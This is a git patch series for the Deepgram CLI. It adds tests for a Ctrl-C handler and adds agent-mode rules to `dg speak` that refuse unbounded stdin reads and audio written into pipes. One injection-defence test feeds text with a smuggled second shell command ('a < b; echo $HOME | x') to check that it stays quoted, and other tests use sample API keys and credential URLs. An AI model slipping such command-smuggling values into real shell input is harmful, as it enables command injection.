@@ -0,0 +1,255 @@
+"""deepctl_core.signals: the SIGINT handler that waits out importlib's own
+lock bookkeeping, and the helpers behind it."""
+
+from __future__ import annotations
+
+import _imp
+import importlib
+import os
+import signal
+import sys
+import threading
+import time
+
+import pytest
+from deepctl_core import signals
+
+
+@pytest.fixture(autouse=True)
+def _restore_sigint():
+    before = signal.getsignal(signal.SIGINT)
+    for state in (signals._deferred_since, signals._in_handler):
+        state.clear()
+    yield
+    signal.signal(signal.SIGINT, before)
+    for state in (signals._deferred_since, signals._in_handler):
+        state.clear()
+
+
+def _importlib_frame():
+    """A real frame of importlib's own code: the caller of a finder."""
+    seen = []
+
+    class Finder:
+        def find_spec(self, name, path=None, target=None):
+            if name == "deepctl_signals_probe_xyz":
+                seen.append(sys._getframe(1))
+            return None
+
+    finder = Finder()
+    sys.meta_path.insert(0, finder)
+    try:
+        with pytest.raises(ModuleNotFoundError):
+            importlib.import_module("deepctl_signals_probe_xyz")
+    finally:
+        sys.meta_path.remove(finder)
+    return seen[0]
+
+
+def test_replaces_only_the_default_handler():
+    signal.signal(signal.SIGINT, signal.default_int_handler)
+    signals.install_interrupt_handler()
+    assert signal.getsignal(signal.SIGINT) is signals._on_interrupt
+
+    signal.signal(signal.SIGINT, signal.SIG_IGN)
+    signals.install_interrupt_handler()
+    assert signal.getsignal(signal.SIGINT) is signal.SIG_IGN
+
+
+def test_in_importlib_knows_importlibs_frames():
+    assert signals.in_importlib(_importlib_frame()) is True
+    assert signals.in_importlib(sys._getframe()) is False
+    assert signals.in_importlib(None) is False
+
+
+def test_a_signal_inside_this_modules_frames_is_judged_by_their_caller():
+    """A second signal that lands in a handler's frames here counts as
+    landing where the first one interrupted: importlib, in this case."""
+    ns: dict = {}
+    src = (
+        "import sys\n"
+        "def find_spec(name, path=None, target=None):\n"
+        "    if name == 'deepctl_signals_probe_own':\n"
+        "        seen.append(sys._getframe(0))\n"
+    )
+    ns["seen"] = seen = []
+    exec(compile(src, signals._own_file(), "exec"), ns)
+
+    class Finder:
+        find_spec = staticmethod(ns["find_spec"])
+
+    finder = Finder()
+    sys.meta_path.insert(0, finder)
+    try:
+        with pytest.raises(ModuleNotFoundError):
+            importlib.import_module("deepctl_signals_probe_own")
+    finally:
+        sys.meta_path.remove(finder)
+    own = seen[0]
+    assert own.f_code.co_filename == signals._own_file()
+    assert signals.in_importlib(own) is True
+    assert signals.in_importlib(sys._getframe()) is False
+
+
+def test_a_second_ctrl_c_while_the_handler_runs_is_coalesced(monkeypatch):
+    later: list[int] = []
+    monkeypatch.setattr(signals, "deliver_later", later.append)
+
+    def nested_then_raise(signum, frame):
+        signals._on_interrupt(signum, frame)  # nested: no raise, nothing sent
+        return False
+
+    monkeypatch.setattr(signals, "defer_in_importlib", nested_then_raise)
+    with pytest.raises(KeyboardInterrupt):
+        signals._on_interrupt(signal.SIGINT, sys._getframe())
+    assert later == []
+
+
+def test_the_resend_waits_for_the_handler_to_return(monkeypatch):
+    """Under load the re-send timer can fire before the handler that
+    started it returns; it waits, so the signal isn't taken as nested."""
+    sent: list[int] = []
+    monkeypatch.setattr(signals, "send_to_main", sent.append)
+    signals._in_handler.append(True)
+    t = threading.Thread(target=signals._resend, args=(signal.SIGINT,))
+    t.start()
+    time.sleep(0.1)
+    assert sent == []
+    signals._in_handler.clear()
+    t.join(2)
+    assert sent == [signal.SIGINT]
+
+
+def test_raises_outside_importlib():
+    with pytest.raises(KeyboardInterrupt):
+        signals._on_interrupt(signal.SIGINT, sys._getframe())
+
+
+def test_defers_inside_importlib(monkeypatch):
+    later: list[int] = []
+    monkeypatch.setattr(signals, "deliver_later", later.append)
+    signals._on_interrupt(signal.SIGINT, _importlib_frame())  # no raise
+    assert later == [signal.SIGINT]
+
+
+def test_deferral_is_capped(monkeypatch):
+    """After _MAX_DEFER_S of deferrals the handler raises anyway."""
+    later: list[int] = []
+    clock = [100.0]
+    monkeypatch.setattr(signals, "deliver_later", later.append)
+    monkeypatch.setattr(signals.time, "monotonic", lambda: clock[0])
+    frame = _importlib_frame()
+    signals._on_interrupt(signal.SIGINT, frame)
+    clock[0] += signals._MAX_DEFER_S / 2
+    signals._on_interrupt(signal.SIGINT, frame)
+    clock[0] += signals._MAX_DEFER_S
+    with pytest.raises(KeyboardInterrupt):
+        signals._on_interrupt(signal.SIGINT, frame)
+    assert len(later) == 2
+    # The next Ctrl-C starts a fresh window.
+    signals._on_interrupt(signal.SIGINT, frame)
+    assert len(later) == 3
+
+
+def test_past_the_cap_a_held_import_lock_still_defers(monkeypatch):
+    later: list[int] = []
+    clock = [100.0]
+    monkeypatch.setattr(signals, "deliver_later", later.append)
+    monkeypatch.setattr(signals.time, "monotonic", lambda: clock[0])
+    frame = _importlib_frame()
+    signals._on_interrupt(signal.SIGINT, frame)
+    clock[0] += signals._MAX_DEFER_S + 0.05  # past the cap, not stale
+    _imp.acquire_lock()
+    try:
+        signals._on_interrupt(signal.SIGINT, frame)  # lock held: no raise
+    finally:
+        _imp.release_lock()
+    assert len(later) == 2
+    with pytest.raises(KeyboardInterrupt):
+        signals._on_interrupt(signal.SIGINT, frame)  # lock free: raise
+
+
+def test_a_stale_deferral_starts_a_fresh_window(monkeypatch):
+    """A deferral whose re-send never came (the handler changed meanwhile)
+    must not make a later Ctrl-C in importlib skip the deferral."""
+    later: list[int] = []
+    clock = [100.0]
+    monkeypatch.setattr(signals, "deliver_later", later.append)
+    monkeypatch.setattr(signals.time, "monotonic", lambda: clock[0])
+    frame = _importlib_frame()
+    signals._on_interrupt(signal.SIGINT, frame)  # deferred; re-send "lost"
+    clock[0] += signals._STALE_DEFER_S + 1
+    signals._on_interrupt(signal.SIGINT, frame)  # deferred again, no raise
+    assert later == [signal.SIGINT, signal.SIGINT]
+
+
+def test_no_thread_for_the_resend_delivers_now(monkeypatch):
+    """At interpreter shutdown no thread can start: raise KeyboardInterrupt
+    rather than that RuntimeError."""
+
+    def no_thread(signum):
+        raise RuntimeError("can't create new thread at interpreter shutdown")
+
+    monkeypatch.setattr(signals, "deliver_later", no_thread)
+    with pytest.raises(KeyboardInterrupt):
+        signals._on_interrupt(signal.SIGINT, _importlib_frame())
+    assert signals._deferred_since == []
+
+
+def test_coalescing_releases_after_the_handler_raises():
+    calls: list[int] = []
+
+    @signals.coalescing
+    def handler(signum, frame):
+        calls.append(signum)
+        handler(signum, frame)  # nested: coalesced, inner body not run
+        raise KeyboardInterrupt
+
+    with pytest.raises(KeyboardInterrupt):
+        handler(signal.SIGINT, None)
+    assert calls == [signal.SIGINT]
+    assert signals._in_handler == []
+
+
+@pytest.mark.skipif(not hasattr(signal, "pthread_kill"), reason="POSIX only")
+def test_deliver_later_reaches_the_main_thread():
+    got: list[int] = []
+    before = signal.signal(signal.SIGUSR1, lambda s, f: got.append(s))
+    try:
+        signals.deliver_later(signal.SIGUSR1, 0)
+        deadline = time.monotonic() + 2
+        while not got and time.monotonic() < deadline:
+            time.sleep(0.005)
+    finally:
+        signal.signal(signal.SIGUSR1, before)
+    assert got == [signal.SIGUSR1]
+
+
+@pytest.mark.skipif(not hasattr(signal, "pthread_kill"), reason="POSIX only")
+def test_another_thread_holding_the_import_lock_doesnt_hold_up_ctrl_c():
+    """Only the main thread's own importlib frames defer."""
+    signal.signal(signal.SIGINT, signal.default_int_handler)
+    signals.install_interrupt_handler()
+    held, release = threading.Event(), threading.Event()
+
+    def holder():
+        _imp.acquire_lock()
+        try:
+            held.set()
+            release.wait(10)
+        finally:
+            _imp.release_lock()
+
+    t = threading.Thread(target=holder, daemon=True)
+    t.start()
+    held.wait(5)
+    try:
+        t0 = time.monotonic()
+        with pytest.raises(KeyboardInterrupt):
+            os.kill(os.getpid(), signal.SIGINT)
+            while time.monotonic() - t0 < 2:
+                time.sleep(0.001)
+        assert time.monotonic() - t0 < 1.5
+    finally:
+        release.set()
+        t.join(5)
diff --git a/src/deepctl/_manifest.d/speak.json b/src/deepctl/_manifest.d/speak.json
index ee9b0e99..e6469999 100644
--- a/src/deepctl/_manifest.d/speak.json
+++ b/src/deepctl/_manifest.d/speak.json
@@ -8,7 +8,7 @@
   "requires_auth": true,
   "help": {
     "name": "speak",
-    "help": "Convert text to speech using Deepgram TTS\n\nExamples:\n  dg speak \"Hello from Deepgram\" --play\n  dg speak --list-voices\n  dg speak \"Hello world\"\n  dg speak \"Hello world\" -o hello.wav\n  dg speak \"Hello world\" -o hello.wav --play\n  dg speak --file message.txt -o output.wav\n  dg speak \"Hello\" | ffplay -loglevel error -nodisp -autoexit -\n  dg speak \"A little slower, please\" --speed 0.9 -o slow.wav\n  dg speak \"So exciting!\" --expressivity 2 -o lively.wav  # beta; default: 0\n  dg speak \"Hello\" -m aura-2-asteria-en -o hello.mp3\n  dg speak \"Hello\" -m aura-2-luna-en -o hello.wav --encoding linear16 --container wav\n  echo \"Hello\" | dg speak -o hello.mp3 -m aura-2-asteria-en\n  dg speak \"Hola, mundo\" -m aura-2-selena-es -o hola.mp3\n\n\nFor agents, use --agent-friendly.",
+    "help": "Convert text to speech using Deepgram TTS\n\nExamples:\n  dg speak \"Hello from Deepgram\" --play\n  dg speak --list-voices\n  dg speak \"Hello world\"\n  dg speak \"Hello world\" --out-file hello.wav\n  dg speak \"Hello world\" --out-file hello.wav --play\n  dg speak --file message.txt --out-file output.wav\n  dg speak \"Hello\" | ffplay -loglevel error -nodisp -autoexit -\n  dg speak \"A little slower, please\" --speed 0.9 --out-file slow.wav\n  dg speak \"So exciting!\" --expressivity 2 --out-file lively.wav  # beta; default: 0\n  dg speak \"Hello\" -m aura-2-asteria-en --out-file hello.mp3\n  dg speak \"Hello\" -m aura-2-luna-en --out-file hello.wav --encoding linear16 --container wav\n  echo \"Hello\" | dg speak --out-file hello.mp3 -m aura-2-asteria-en\n  dg speak \"Hola, mundo\" -m aura-2-selena-es --out-file hola.mp3\n\n\nFor agents, use --agent-friendly.",
     "short_help": "Text-to-speech",
     "epilog": null,
     "hidden": false,
@@ -56,7 +56,7 @@
         "is_flag": true,
         "count": false,
         "hidden": false,
-        "help": "Play the audio through your system player (ffplay, afplay, paplay, or aplay). Can be combined with -o to save and play."
+        "help": "Play the audio through your system player (ffplay, afplay, paplay, or aplay). Can be combined with --out-file to save and play."
       },
       {
         "class": "option",
@@ -220,14 +220,56 @@
         },
         "required": false,
         "nargs": 1,
+        "metavar": "FILE",
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Deprecated: use --out-file. Saves the audio to FILE and overwrites it. In 1.0, -o will set the output format."
+      },
+      {
+        "class": "option",
+        "name": "force",
+        "opts": [
+          "--force"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
         "metavar": null,
         "eager": false,
         "expose": true,
         "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "With --out-file, overwrite FILE if it already exists."
+      },
+      {
+        "class": "option",
+        "name": "out_file",
+        "opts": [
+          "--out-file"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": "FILE",
+        "eager": false,
+        "expose": true,
+        "multiple": false,
         "is_flag": false,
         "count": false,
         "hidden": false,
-        "help": "Output file path (required if stdout is a terminal)"
+        "help": "Save the audio to FILE. An existing file isn't overwritten unless you add --force."
       },
       {
         "class": "argument",

From 6244ab990f2f3539dfc45587828d12c4fe254a87 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sat, 31 Oct 2026 18:48:56 -0400
Subject: [PATCH 20/88] fix(speak): don't read stdin or write audio to a pipe
 in agent mode

Under a hard AI-agent signal, dg speak with no text argument and no
--file read stdin until it closed, which can be never, and audio bound
for a pipe was written into whatever an agent's tool call was capturing.

With a hard signal, stdin is now read only when the text is - ; anything
else fails at once with E-SPEAK-NO-TEXT. Audio that would go to a stdout
that isn't a terminal, a regular file or /dev/null, with no output file,
--play or --list-voices, fails with E-SPEAK-NO-OUTPUT. Its next_step
reruns the same command with --out-file and a new file name, and is null
(with the matching hint) when the text came from stdin or the command
line holds a secret. Both refusals come before the request.

- as the text reads stdin in every mode. CI and people keep 0.4.0's
behavior otherwise.

The speak tests' person fixture lives in the root conftest, scoped to
speak's tests: a second tests/unit/conftest.py would clash with dg mcp's
when CI collects both.
---
 conftest.py                                   |  13 +
 .../src/deepctl_cmd_speak/command.py          |  59 +++-
 .../src/deepctl_cmd_speak/messages.py         |  17 +
 .../src/deepctl_cmd_speak/sinks.py            |  16 +
 .../tests/unit/test_speak_agent.py            | 301 ++++++++++++++++++
 .../tests/unit/test_speak_strings.py          |  62 ++++
 src/deepctl/_manifest.d/speak.json            |   2 +-
 7 files changed, 463 insertions(+), 7 deletions(-)
 create mode 100644 packages/deepctl-cmd-speak/tests/unit/test_speak_agent.py
 create mode 100644 packages/deepctl-cmd-speak/tests/unit/test_speak_strings.py

diff --git a/conftest.py b/conftest.py
index c94232e4..22734911 100644
--- a/conftest.py
+++ b/conftest.py
@@ -55,6 +55,19 @@ def _clean_deepgram_env(monkeypatch):
             monkeypatch.delenv(key, raising=False)
 
 
+@pytest.fixture(autouse=True)
+def _speak_tests_run_as_a_person(request, monkeypatch):
+    """Speak tests run as a person by default: the agent rules key off hard
+    agent markers, which a developer's own shell may set (CLAUDECODE=1).
+    Tests that need agent mode patch ``is_ai_agent`` themselves."""
+    if "deepctl-cmd-speak" not in request.path.parts:
+        return
+    from deepctl_core.output import AI_AGENT_ENV_MARKERS
+
+    for name in (*AI_AGENT_ENV_MARKERS, "OR_APP_NAME", "OR_SITE_URL"):
+        monkeypatch.delenv(name, raising=False)
+
+
 @pytest.fixture(autouse=True)
 def _disable_telemetry(monkeypatch):
     """Keep tests that call `main()` from initializing real telemetry.
diff --git a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py
index 29005ff2..be8da794 100644
--- a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py
+++ b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py
@@ -845,14 +845,17 @@ class SpeakCommand(BaseCommand):
         # containerized formats like mp3.
         'dg speak "Hello" -m aura-2-asteria-en --out-file hello.mp3',
         'dg speak "Hello" -m aura-2-luna-en --out-file hello.wav --encoding linear16 --container wav',
-        'echo "Hello" | dg speak --out-file hello.mp3 -m aura-2-asteria-en',
+        'echo "Hello" | dg speak - --out-file hello.mp3 -m aura-2-asteria-en',
         # Aura-2 Spanish voice (run `dg models` for the full list).
         'dg speak "Hola, mundo" -m aura-2-selena-es --out-file hola.mp3',
     ]
     agent_help = (
         "Convert text to speech using Deepgram's TTS API. "
-        "Text can be provided as an argument, from a file, or piped via stdin. "
-        "Audio is written to a file (--out-file; add --force to replace an "
+        "Text can be provided as an argument, from a file (--file), or from "
+        "stdin with - as the text (in agent mode, - is the only way to read "
+        "stdin). In agent mode, audio isn't written into a pipe: use "
+        "--out-file, --play, or redirect stdout to a file. "
+        "Audio is written to a file (--out-file; add --force to overwrite an "
         "existing file) or stdout for piping. -o/--output FILE is deprecated. "
         "By default (flux-* models, e.g. flux-alexis-en) uses Flux TTS / Speak "
         "v2, streaming over WebSocket and emitting raw audio; linear16 output is "
@@ -870,7 +873,7 @@ def get_arguments(self) -> list[dict[str, Any]]:
         return [
             {
                 "name": "text",
-                "help": "Text to convert to speech",
+                "help": "Text to convert to speech, or - to read it from stdin",
                 "required": False,
                 "default": None,
             },
@@ -1026,11 +1029,24 @@ def _preflight(self, kwargs: dict[str, Any]) -> _Plan | SpeakCodedError:
                 hint_agent=msg.H_SPEAK_O_FORMAT.format(prog=prog, value=legacy),
                 next_step=self._o_format_next_step(prog, legacy, kwargs),
             )
+        agent = is_ai_agent()
+        text = kwargs.get("text")
+        if agent and not text and not kwargs.get("file"):
+            # Never block on a stdin that may never close; "-" opts in.
+            return _coded(
+                msg.E_SPEAK_NO_TEXT.format(prog=prog),
+                code=msg.CODE_INVALID_ARGUMENT,
+                hint_human=msg.H_SPEAK_NO_TEXT,
+                hint_agent=msg.H_SPEAK_NO_TEXT,
+                next_step=_next_step([prog, self.name, "--help"]),
+            )
         if legacy:
             _deprecate_output()
 
         path = out_file or legacy
         if not path:
+            if agent and not kwargs.get("play") and not sinks.stdout_takes_audio():
+                return self._no_output(prog, kwargs)
             return _Plan()
         planned = sinks.plan_target(
             path, overwrite=bool(legacy) or bool(kwargs.get("force"))
@@ -1063,6 +1079,34 @@ def _preflight(self, kwargs: dict[str, Any]) -> _Plan | SpeakCodedError:
             )
         return _Plan(target=planned)
 
+    def _no_output(self, prog: str, kwargs: dict[str, Any]) -> SpeakCodedError:
+        """Under a hard agent signal, audio bound for a pipe is refused;
+        ``next_step`` reruns the command with a new ``--out-file``."""
+        model = kwargs.get("model") or _DEFAULT_MODEL
+        out_file = _proposed_out_file(
+            is_flux=model.lower().startswith("flux-"),
+            encoding=kwargs.get("encoding"),
+            container=kwargs.get("container"),
+        )
+        # Text read from stdin can't be sent again by a rerun.
+        next_step = (
+            None
+            if kwargs.get("text") == "-"
+            else _next_step([prog, *_argv(), "--out-file", out_file])
+        )
+        hint = (
+            msg.A_SPEAK_NO_OUTPUT.format(out_file=out_file)
+            if next_step is not None
+            else msg.A_SPEAK_NO_OUTPUT_NULL.format(out_file=out_file)
+        )
+        return _coded(
+            msg.E_SPEAK_NO_OUTPUT.format(prog=prog),
+            code=msg.CODE_INVALID_ARGUMENT,
+            hint_human=msg.H_SPEAK_NO_OUTPUT,
+            hint_agent=hint,
+            next_step=next_step,
+        )
+
     def _o_format_next_step(
         self, prog: str, value: str, kwargs: dict[str, Any]
     ) -> str | None:
@@ -1126,8 +1170,11 @@ def handle(
         if list_voices:
             return self._list_voices(client)
 
-        # Resolve text input: arg > --file > stdin
-        if not text and file_path:
+        # Resolve text input: arg > --file > stdin. "-" reads stdin in every
+        # mode (and is the only way to under a hard agent signal).
+        if text == "-":
+            text = sys.stdin.read().strip()
+        elif not text and file_path:
             path = Path(file_path)
             if not path.exists():
                 return _fail(f"File not found: {file_path}")
diff --git a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/messages.py b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/messages.py
index e732402d..0e0313fa 100644
--- a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/messages.py
+++ b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/messages.py
@@ -34,6 +34,23 @@
     "Give --out-file a different file from stdout, or don't ask for {format} output."
 )
 
+# invalid_argument: a hard agent signal and audio bound for a pipe.
+E_SPEAK_NO_OUTPUT = "{prog} speak won't write audio into this pipe in agent mode."
+H_SPEAK_NO_OUTPUT = "Pass --out-file FILE to save the audio."
+A_SPEAK_NO_OUTPUT = "next_step saves the audio to {out_file}. Give the user that path."
+# next_step is null: the text came from stdin, or the command line can't be
+# repeated (it holds a key or a URL with credentials, or can't be quoted).
+A_SPEAK_NO_OUTPUT_NULL = (
+    "Run the same command again with --out-file {out_file} added. If the text "
+    "came from stdin, send it again the same way."
+)
+
+# invalid_argument: a hard agent signal and no text argument.
+E_SPEAK_NO_TEXT = (
+    "{prog} speak needs the text as an argument, or - to read it from stdin."
+)
+H_SPEAK_NO_TEXT = "Pass the text in quotes. To read it from stdin, pass - explicitly."
+
 # invalid_argument: --out-file names an existing file and --force is absent.
 E_OUT_FILE_EXISTS = "{out_file} already exists; {prog} won't overwrite it."
 H_OUT_FILE_EXISTS = "Choose a new file name, or pass --force to overwrite."
diff --git a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/sinks.py b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/sinks.py
index 9440c99a..a3f7ac41 100644
--- a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/sinks.py
+++ b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/sinks.py
@@ -106,6 +106,22 @@ def stdout_stat() -> os.stat_result | None:
         return None
 
 
+def stdout_takes_audio() -> bool:
+    """True when stdout is a terminal, a regular file or the null device:
+    the destinations where agent mode still writes audio."""
+    out = stdout_stat()
+    if out is None:
+        return False
+    if stat.S_ISREG(out.st_mode):
+        return True
+    try:
+        if os.path.samestat(out, os.stat(os.devnull)):
+            return True
+        return os.isatty(sys.stdout.fileno())
+    except Exception:
+        return False
+
+
 def _oserror(code: int, path: str) -> OSError:
     return OSError(code, os.strerror(code), path)
 
diff --git a/packages/deepctl-cmd-speak/tests/unit/test_speak_agent.py b/packages/deepctl-cmd-speak/tests/unit/test_speak_agent.py
new file mode 100644
index 00000000..ea1e7eb8
--- /dev/null
+++ b/packages/deepctl-cmd-speak/tests/unit/test_speak_agent.py
@@ -0,0 +1,301 @@
+"""Agent rules for ``dg speak`` under a hard signal, and
+the ``next_step`` rows for every speak coded error (``test_next_step``).
+"""
+
+from __future__ import annotations
+
+import os
+import re
+import shlex
+from typing import Any
+from unittest.mock import Mock, patch
+
+import pytest
+from deepctl_cmd_speak import command as speak
+from deepctl_cmd_speak import sinks
+from deepctl_cmd_speak.command import SpeakCommand
+from deepctl_cmd_speak.models import SpeakCodedError
+from deepctl_core import AuthManager, Config, DeepgramClient
+
+# The strict surface-0.5.0 schema's next_step grammar.
+NEXT_STEP = re.compile(
+    r"^(?!sudo )(?:[A-Za-z0-9_@%+:,./-][A-Za-z0-9_@%+=:,./-]*|'[^']*'(?:\"'\"'[^']*')*)"
+    r"(?: (?:[A-Za-z0-9_@%+:,./-][A-Za-z0-9_@%+=:,./-]*|'[^']*'(?:\"'\"'[^']*')*))*$"
+)
+_REAL_TAKES_AUDIO = sinks.stdout_takes_audio
+OUT_FILE = re.compile(r"^speech-\d{8}T\d{6}Z-[0-9a-f]{4}\.(mp3|wav|ogg|flac|aac|raw)$")
+
+
+def _kwargs(**kw: Any) -> dict[str, Any]:
+    base: dict[str, Any] = {
+        "text": "hi",
+        "output": None,
+        "out_file": None,
+        "force": False,
+        "model": "aura-2-asteria-en",
+        "encoding": None,
+        "container": None,
+        "sample_rate": None,
+        "file": None,
+        "play": False,
+        "list_voices": False,
+    }
+    base.update(kw)
+    return base
+
+
+def _pre(argv: list[str], monkeypatch, **kw: Any):
+    monkeypatch.setattr(speak, "_argv", lambda: list(argv))
+    return SpeakCommand().pre_auth_check(Mock(spec=Config), **_kwargs(**kw))
+
+
+def assert_e10(ns: str | None) -> None:
+    if ns is None:
+        return
+    assert shlex.join(shlex.split(ns)) == ns
+    assert NEXT_STEP.match(ns), ns
+    tokens = shlex.split(ns)
+    assert tokens[0] == "dg"
+    assert not any(re.fullmatch(r"<[A-Z_]+>", t) for t in tokens)
+
+
+@pytest.fixture(autouse=True)
+def _env(monkeypatch, tmp_path):
+    monkeypatch.chdir(tmp_path)
+    monkeypatch.setattr(speak, "_deprecation_shown", False)
+    monkeypatch.setattr(speak, "_agentic", True)
+    monkeypatch.setattr(speak, "is_ai_agent", lambda: True)
+    monkeypatch.setattr(sinks, "stdout_stat", lambda: None)  # a pipe
+    monkeypatch.setattr(sinks, "stdout_takes_audio", lambda: False)
+
+
+# ── No text → never read stdin ─────────────────────────────────────────
+
+
+class TestNoText:
+    @pytest.mark.parametrize("extra", [{}, {"out_file": "a.wav"}, {"text": ""}])
+    def test_refused_without_reading_stdin(self, monkeypatch, extra):
+        with patch("deepctl_cmd_speak.command.sys") as mock_sys:
+            kw = {"text": None, **extra}
+            result = _pre(["speak"], monkeypatch, **kw)
+            mock_sys.stdin.read.assert_not_called()
+        assert isinstance(result, SpeakCodedError)
+        assert result.code == "invalid_argument"
+        assert result.error == (
+            "dg speak needs the text as an argument, or - to read it from stdin."
+        )
+        assert result.hint == (
+            "Pass the text in quotes. To read it from stdin, pass - explicitly."
+        )
+        assert result.next_step == "dg speak --help"
+
+    def test_file_is_text(self, monkeypatch, tmp_path):
+        assert (
+            _pre(["speak"], monkeypatch, text=None, file="t.txt", out_file="a.wav")
+            is None
+        )
+
+    def test_dash_reads_stdin_in_agent_mode(self, monkeypatch):
+        monkeypatch.setattr(sinks, "stdout_takes_audio", lambda: True)
+        assert _pre(["speak", "-"], monkeypatch, text="-") is None
+        cmd = SpeakCommand()
+        client = Mock(spec=DeepgramClient)
+        client.speak_text.return_value = iter([b"a"])
+        with patch("deepctl_cmd_speak.command.sys") as mock_sys:
+            mock_sys.stdin.read.return_value = "from stdin\n"
+            mock_sys.stdout.isatty.return_value = False
+            cmd.handle(
+                Mock(spec=Config), Mock(spec=AuthManager), client, **_kwargs(text="-")
+            )
+        assert client.speak_text.call_args.kwargs["text"] == "from stdin"
+
+    def test_dash_reads_stdin_for_a_person_too(self, monkeypatch):
+        monkeypatch.setattr(speak, "is_ai_agent", lambda: False)
+        cmd = SpeakCommand()
+        client = Mock(spec=DeepgramClient)
+        client.speak_text.return_value = iter([b"a"])
+        with patch("deepctl_cmd_speak.command.sys") as mock_sys:
+            mock_sys.stdin.isatty.return_value = True
+            mock_sys.stdin.read.return_value = "typed"
+            mock_sys.stdout.isatty.return_value = False
+            cmd.handle(
+                Mock(spec=Config), Mock(spec=AuthManager), client, **_kwargs(text="-")
+            )
+        assert client.speak_text.call_args.kwargs["text"] == "typed"
+
+    def test_ci_only_keeps_reading_piped_stdin(self, monkeypatch):
+        monkeypatch.setattr(speak, "is_ai_agent", lambda: False)
+        assert _pre(["speak"], monkeypatch, text=None) is None
+
+
+# ── Audio into a pipe ───────────────────────────────────────────────────
+
+
+class TestNoOutput:
+    def test_refused_with_a_rerun_that_saves_the_file(self, monkeypatch):
+        result = _pre(["speak", "hi", "-m", "aura-2-asteria-en"], monkeypatch)
+        assert isinstance(result, SpeakCodedError)
+        assert result.code == "invalid_argument"
+        assert (
+            result.error == "dg speak won't write audio into this pipe in agent mode."
+        )
+        tokens = shlex.split(result.next_step)
+        assert tokens[:6] == [
+            "dg",
+            "speak",
+            "hi",
+            "-m",
+            "aura-2-asteria-en",
+            "--out-file",
+        ]
+        out_file = tokens[6]
+        assert OUT_FILE.match(out_file) and out_file.endswith(".mp3")
+        assert result.hint == (
+            f"next_step saves the audio to {out_file}. Give the user that path."
+        )
+        assert not os.path.exists(out_file)
+        assert_e10(result.next_step)
+
+    def test_flux_default_proposes_a_wav(self, monkeypatch):
+        result = _pre(["speak", "hi"], monkeypatch, model=None)
+        assert shlex.split(result.next_step)[-1].endswith(".wav")
+
+    def test_root_options_are_kept_verbatim(self, monkeypatch):
+        result = _pre(["--profile", "work", "speak", "hi"], monkeypatch)
+        assert shlex.split(result.next_step)[:4] == ["dg", "--profile", "work", "speak"]
+
+    def test_text_from_stdin_has_no_next_step(self, monkeypatch):
+        result = _pre(["speak", "-"], monkeypatch, text="-")
+        assert result.next_step is None
+        out_file = result.hint.split("--out-file ")[1].split(" ")[0]
+        assert OUT_FILE.match(out_file)
+        assert result.hint == (
+            f"Run the same command again with --out-file {out_file} added. If "
+            "the text came from stdin, send it again the same way."
+        )
+
+    def test_secret_on_argv_nulls_next_step(self, monkeypatch):
+        result = _pre(["--api-key", "sk_sentinel_123", "speak", "hi"], monkeypatch)
+        assert result.next_step is None
+        # The text was an argument: never ask for the key to be put back.
+        out_file = result.hint.split("--out-file ")[1].split(" ")[0]
+        assert OUT_FILE.match(out_file)
+        assert result.hint == (
+            f"Run the same command again with --out-file {out_file} added. If "
+            "the text came from stdin, send it again the same way."
+        )
+        assert "sk_sentinel_123" not in result.model_dump_json()
+
+    @pytest.mark.parametrize(
+        "argv",
+        [
+            ["--api-key=sk_x", "speak", "hi"],
+            ["--base-url", "https://user:pw@example.com", "speak", "hi"],
+            ["--base-url", "https://example.com/?token=x", "speak", "hi"],
+        ],
+    )
+    def test_every_secret_form_nulls_next_step(self, monkeypatch, argv):
+        result = _pre(argv, monkeypatch)
+        assert result.next_step is None
+        assert result.hint.startswith("Run the same command again")
+
+    @pytest.mark.parametrize(
+        "text",
+        ["Q&A starts now", "a < b; echo $HOME | x", "It's Q & A time", "I'll sudo it"],
+    )
+    def test_shell_metacharacters_stay_inside_one_quoted_argument(
+        self, monkeypatch, text
+    ):
+        result = _pre(["speak", text], monkeypatch, text=text)
+        assert_e10(result.next_step)
+        assert shlex.split(result.next_step)[2] == text
+
+    def test_a_token_starting_with_equals_nulls_next_step(self, monkeypatch):
+        result = _pre(["speak", "=cmd"], monkeypatch, text="=cmd")
+        assert result.next_step is None
+        assert result.hint.startswith("Run the same command again")
+
+    @pytest.mark.parametrize(
+        "kw", [{"play": True}, {"list_voices": True}, {"out_file": "a.wav"}]
+    )
+    def test_exempt(self, monkeypatch, kw):
+        assert _pre(["speak", "hi"], monkeypatch, **kw) is None
+
+    def test_regular_file_tty_or_dev_null_is_allowed(self, monkeypatch):
+        monkeypatch.setattr(sinks, "stdout_takes_audio", lambda: True)
+        assert _pre(["speak", "hi"], monkeypatch) is None
+
+    def test_people_and_ci_may_pipe_audio(self, monkeypatch):
+        monkeypatch.setattr(speak, "is_ai_agent", lambda: False)
+        assert _pre(["speak", "hi"], monkeypatch) is None
+
+
+class TestStdoutTakesAudio:
+    def test_classification(self, monkeypatch, tmp_path):
+        monkeypatch.setattr(sinks, "stdout_takes_audio", _REAL_TAKES_AUDIO)
+        f = tmp_path / "out.wav"
+        f.write_bytes(b"")
+        monkeypatch.setattr(sinks, "stdout_stat", lambda: os.stat(f))
+        assert _REAL_TAKES_AUDIO() is True
+        monkeypatch.setattr(sinks, "stdout_stat", lambda: os.stat(os.devnull))
+        assert _REAL_TAKES_AUDIO() is True
+        r, w = os.pipe()
+        try:
+            monkeypatch.setattr(sinks, "stdout_stat", lambda: os.fstat(w))
